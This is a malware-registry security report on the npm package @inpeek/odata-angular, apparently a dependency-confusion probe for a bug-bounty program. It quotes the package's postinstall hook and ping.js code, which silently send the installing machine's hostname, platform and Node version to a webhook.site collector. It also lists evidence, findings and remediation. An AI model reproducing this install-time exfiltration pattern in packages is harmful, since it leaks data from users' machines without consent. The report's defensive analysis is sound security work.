registry / Data exfiltration / @inpeek/odata-angular

@inpeek/odata-angular

SECURITY RESEARCH PLACEHOLDER — Bug Bounty Switzerland PoC for Energie Wasser Bern (EWB) dependency-confusion report by @drdoctor. Not for production use. See README.md.

This report shows the evidence for @inpeek/odata-angular@99.99.99. 4 of 4 known versions are blocked or flagged. The newest version, 99.99.102, is blocked. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 18d ago · by lpm-firewall-ai

Source inspection confirms automatic disclosure of machine information to a fixed external recipient. The package's security-research claims do not establish authorization for this install-time collection.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation activates the postinstall hook.

Impact

Exposes the installing machine's hostname and runtime metadata to the collector operator.

Mechanism

ping.js places host information in a fixed URL query and sends an HTTPS GET request, suppressing errors.

Attack narrative

Installing the package runs ping.js automatically. The script collects the host's name, platform, and Node.js version and transmits them to a fixed external webhook collector. No explicit opt-in guards the transmission, and network errors are suppressed.

AI rationale

Evidence

package.jsonping.js

Network endpoints1

webhook.site/e4e1e2f8-765a-4b5c-9996-86387708357f

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically executes ping.js after installation.
ping.js collects the machine hostname, operating system platform, and Node.js version for a fixed webhook.site collector.
ping.js sends the collected data through HTTPS without a consent gate and silently suppresses request errors.

Evidence against

The inspected code does not harvest credentials, read user files, execute downloaded payloads, or establish persistence.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.30 KB of source, external domains: webhook.site

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node ./ping.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node ./ping.js" }, "auth

High

Ai Review Evidence

package.json automatically executes ping.js after installation.

package.jsonView on unpkg · L7

ping.jsView file

21const url = 'https://webhook.site/e4e1e2f8-765a-4b5c-9996-86387708357f' + '?pkg=' + encodeURIComponent('@inpeek/odata-angular') + '&event=postinstall' + '&hostname=' + encodeURIComponent(os.hostname()) + '&platform=' + encodeURIComponent(os.platform()) + '&nodeVer=' + encodeURIComponent(process.version) + '&report=bugbountych-ewb-npm[redacted]'; // Fire-and-forget. An

High

Ai Review Evidence

ping.js collects the machine hostname, operating system platform, and Node.js version for a fixed webhook.site collector.

ping.jsView on unpkg · L21

31try { const req = https.get(url, { timeout: 2000 }, (res) => { res.resume(); }); req.on('error', () => {}); req.on('timeout', () => { req.destroy(); }); } catch (_) {}

High

Ai Review Evidence

ping.js sends the collected data through HTTPS without a consent gate and silently suppresses request errors.

ping.jsView on unpkg · L31

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./ping.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node ./ping.js" }, "auth

High

Ai Review Evidence

package.json automatically executes ping.js after installation.

package.jsonView on unpkg · L7

ping.jsView file

High

Ai Review Evidence

ping.js collects the machine hostname, operating system platform, and Node.js version for a fixed webhook.site collector.

Findings

4 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidenceping.js

MediumNetwork

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @inpeek/odata-angular@99.99.99.

The versions list below shows the verdict for each recorded version.

Avoid installing @inpeek/odata-angular@99.99.99. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-05 21:30:04.490Z (UTC).

Source advisory published: 2026-10-05 03:33:31.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

99.99.102latestMaliciousMalwareBlockPublishedOct 4, 2026, 8:13 PM 99.99.101MaliciousMalwareBlockPublishedOct 4, 2026, 7:16 PM 99.99.100MaliciousMalwareBlockPublishedOct 4, 2026, 7:14 PM 99.99.99shownMaliciousData ExfiltrationBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @inpeek

Other data exfiltration packages

Behavioral surface

Related packages

More from @inpeek

Other data exfiltration packages

Source & flagged code